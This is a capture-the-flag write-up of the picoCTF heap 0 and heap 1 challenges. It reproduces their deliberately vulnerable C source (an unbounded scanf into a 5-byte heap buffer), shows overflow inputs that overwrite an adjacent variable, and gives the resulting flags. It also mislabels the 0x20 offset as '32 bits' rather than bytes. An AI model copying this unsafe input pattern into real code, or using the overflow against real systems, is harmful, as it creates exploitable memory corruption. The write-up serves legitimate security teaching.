[picoCTF] heap 1 & heap 0

heap 0

Description

Are overflows just a stack concern?
Download the binary
Download the source


Here’s the source code provided

  1#include <stdio.h>
  2#include <stdlib.h>
  3#include <string.h>
  4
  5#define FLAGSIZE_MAX 64
  6// amount of memory allocated for input_data
  7#define INPUT_DATA_SIZE 5
  8// amount of memory allocated for safe_var
  9#define SAFE_VAR_SIZE 5
 10
 11int num_allocs;
 12char *safe_var;
 13char *input_data;
 14
 15void check_win() {
 16    if (strcmp(safe_var, "bico") != 0) {
 17        printf("\nYOU WIN\n");
 18
 19        // Print flag
 20        char buf[FLAGSIZE_MAX];
 21        FILE *fd = fopen("flag.txt", "r");
 22        fgets(buf, FLAGSIZE_MAX, fd);
 23        printf("%s\n", buf);
 24        fflush(stdout);
 25
 26        exit(0);
 27    } else {
 28        printf("Looks like everything is still secure!\n");
 29        printf("\nNo flage for you :(\n");
 30        fflush(stdout);
 31    }
 32}
 33
 34void print_menu() {
 35    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
 36           "\n2. Write to buffer:\t(write to your own personal block of data "
 37           "on the heap)"
 38           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
 39           "the heap, "
 40           "I'm confident it can't be modified)"
 41           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
 42           "\n5. Exit\n\nEnter your choice: ");
 43    fflush(stdout);
 44}
 45
 46void init() {
 47    printf("\nWelcome to heap0!\n");
 48    printf(
 49        "I put my data on the heap so it should be safe from any tampering.\n");
 50    printf("Since my data isn't on the stack I'll even let you write whatever "
 51           "info you want to the heap, I already took care of using malloc for "
 52           "you.\n\n");
 53    fflush(stdout);
 54    input_data = malloc(INPUT_DATA_SIZE);
 55    strncpy(input_data, "pico", INPUT_DATA_SIZE);
 56    safe_var = malloc(SAFE_VAR_SIZE);
 57    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
 58}
 59
 60void write_buffer() {
 61    printf("Data for buffer: ");
 62    fflush(stdout);
 63    scanf("%s", input_data);
 64}
 65
 66void print_heap() {
 67    printf("Heap State:\n");
 68    printf("+-------------+----------------+\n");
 69    printf("[*] Address   ->   Heap Data   \n");
 70    printf("+-------------+----------------+\n");
 71    printf("[*]   %p  ->   %s\n", input_data, input_data);
 72    printf("+-------------+----------------+\n");
 73    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
 74    printf("+-------------+----------------+\n");
 75    fflush(stdout);
 76}
 77
 78int main(void) {
 79
 80    // Setup
 81    init();
 82    print_heap();
 83
 84    int choice;
 85
 86    while (1) {
 87        print_menu();
 88	int rval = scanf("%d", &choice);
 89	if (rval == EOF){
 90	    exit(0);
 91	}
 92        if (rval != 1) {
 93            //printf("Invalid input. Please enter a valid choice.\n");
 94            //fflush(stdout);
 95            // Clear input buffer
 96            //while (getchar() != '\n');
 97            //continue;
 98	    exit(0);
 99        }
100
101        switch (choice) {
102        case 1:
103            // print heap
104            print_heap();
105            break;
106        case 2:
107            write_buffer();
108            break;
109        case 3:
110            // print safe_var
111            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
112                   safe_var);
113            fflush(stdout);
114            break;
115        case 4:
116            // Check for win condition
117            check_win();
118            break;
119        case 5:
120            // exit
121            return 0;
122        default:
123            printf("Invalid choice\n");
124            fflush(stdout);
125        }
126    }
127}

If you look closely at the check_win function, our job is to make safe_var variable and the string bico not equal to each other. We can see that the variables input_data and safe_var are allocated 5 bytes of memory. The allocations are likely to be sequential, meaning input_data and safe_var are placed next to each other in memory.


1void write_buffer() {
2    printf("Data for buffer: ");
3    fflush(stdout);
4    scanf("%s", input_data);
5}

Check out the write_buffer function. We can write data to input_data variable, meaning if we write more data than it can hold, it will result in a buffer overflow and the extra bytes will overflow into the memory space allocated for safe_var and eventually overwrite the data of safe_var variable.

First, we are going to select 2 to write to buffer, and as we can see from the heap table, the address of input_data is 0x5e2f114332b0 and the address of safe_var is 0x5e2f114332d0. They are 0x20 hexadecimal digits, or 32 bits apart. Therefore, all we gotta do is input more than 32 bits to overflow the input_data and eventually overwrite safe_var variable.

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: abcdefghijklmnopqrstuvwxyz1234567890

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 3


Take a look at my variable: safe_var = 7890


1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{my_first_heap_overflow_c3935a08}

flag: picoCTF{my_first_heap_overflow_c3935a08}


heap 1

author: ABRXS, PR1OR1TYQ

Description

Can you control your overflow? Connect with the challenge instance here: nc tethys.picoctf.net 50046



Here is the source code provided

  1#include <stdio.h>
  2#include <stdlib.h>
  3#include <string.h>
  4
  5#define FLAGSIZE_MAX 64
  6// amount of memory allocated for input_data
  7#define INPUT_DATA_SIZE 5
  8// amount of memory allocated for safe_var
  9#define SAFE_VAR_SIZE 5
 10
 11int num_allocs;
 12char *safe_var;
 13char *input_data;
 14
 15void check_win() {
 16    if (!strcmp(safe_var, "pico")) {
 17        printf("\nYOU WIN\n");
 18
 19        // Print flag
 20        char buf[FLAGSIZE_MAX];
 21        FILE *fd = fopen("flag.txt", "r");
 22        fgets(buf, FLAGSIZE_MAX, fd);
 23        printf("%s\n", buf);
 24        fflush(stdout);
 25
 26        exit(0);
 27    } else {
 28        printf("Looks like everything is still secure!\n");
 29        printf("\nNo flage for you :(\n");
 30        fflush(stdout);
 31    }
 32}
 33
 34void print_menu() {
 35    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
 36           "\n2. Write to buffer:\t(write to your own personal block of data "
 37           "on the heap)"
 38           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
 39           "the heap, "
 40           "I'm confident it can't be modified)"
 41           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
 42           "\n5. Exit\n\nEnter your choice: ");
 43    fflush(stdout);
 44}
 45
 46void init() {
 47    printf("\nWelcome to heap1!\n");
 48    printf(
 49        "I put my data on the heap so it should be safe from any tampering.\n");
 50    printf("Since my data isn't on the stack I'll even let you write whatever "
 51           "info you want to the heap, I already took care of using malloc for "
 52           "you.\n\n");
 53    fflush(stdout);
 54    input_data = malloc(INPUT_DATA_SIZE);
 55    strncpy(input_data, "pico", INPUT_DATA_SIZE);
 56    safe_var = malloc(SAFE_VAR_SIZE);
 57    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
 58}
 59
 60void write_buffer() {
 61    printf("Data for buffer: ");
 62    fflush(stdout);
 63    scanf("%s", input_data);
 64}
 65
 66void print_heap() {
 67    printf("Heap State:\n");
 68    printf("+-------------+----------------+\n");
 69    printf("[*] Address   ->   Heap Data   \n");
 70    printf("+-------------+----------------+\n");
 71    printf("[*]   %p  ->   %s\n", input_data, input_data);
 72    printf("+-------------+----------------+\n");
 73    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
 74    printf("+-------------+----------------+\n");
 75    fflush(stdout);
 76}
 77
 78int main(void) {
 79
 80    // Setup
 81    init();
 82    print_heap();
 83
 84    int choice;
 85
 86    while (1) {
 87        print_menu();
 88	if (scanf("%d", &choice) != 1) exit(0);
 89
 90        switch (choice) {
 91        case 1:
 92            // print heap
 93            print_heap();
 94            break;
 95        case 2:
 96            write_buffer();
 97            break;
 98        case 3:
 99            // print safe_var
100            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
101                   safe_var);
102            fflush(stdout);
103            break;
104        case 4:
105            // Check for win condition
106            check_win();
107            break;
108        case 5:
109            // exit
110            return 0;
111        default:
112            printf("Invalid choice\n");
113            fflush(stdout);
114        }
115    }
116}

Check out check_win function for the win condition:

1void check_win() {
2    if (!strcmp(safe_var, "pico")) {
3        printf("\nYOU WIN\n");

Heap 1 task is every similar to Heap 0. The only difference is that we need to make the value of safe_var variable to “pico”. The address values of the variables are the same with Heap 0. Therefore, we already know they are 32bits apart. All we need to do is input 32-bit long characters to fill input_data variable and type “pico” after to overwrite the value of safe_var variable.




Here's the solution:
 1Welcome to heap1!
 2I put my data on the heap so it should be safe from any tampering.
 3Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
 4
 5Heap State:
 6+-------------+----------------+
 7[*] Address   ->   Heap Data
 8+-------------+----------------+
 9[*]   0x63e0c8e3d2b0  ->   pico
10+-------------+----------------+
11[*]   0x63e0c8e3d2d0  ->   bico
12+-------------+----------------+
13
141. Print Heap:          (print the current state of the heap)
152. Write to buffer:     (write to your own personal block of data on the heap)
163. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
174. Print Flag:          (Try to print the flag, good luck)
185. Exit
19
20Enter your choice: 2
21Data for buffer: abcdefghijklmnopqrstuvwxyz123456pico
22
231. Print Heap:          (print the current state of the heap)
242. Write to buffer:     (write to your own personal block of data on the heap)
253. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
264. Print Flag:          (Try to print the flag, good luck)
275. Exit
28
29Enter your choice: 3
30
31
32Take a look at my variable: safe_var = pico
33
34
351. Print Heap:          (print the current state of the heap)
362. Write to buffer:     (write to your own personal block of data on the heap)
373. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
384. Print Flag:          (Try to print the flag, good luck)
395. Exit
40
41Enter your choice: 4
42
43YOU WIN
44picoCTF{starting_to_get_the_hang_ce5bee9b}

flag: picoCTF{starting_to_get_the_hang_ce5bee9b}


#picoCTF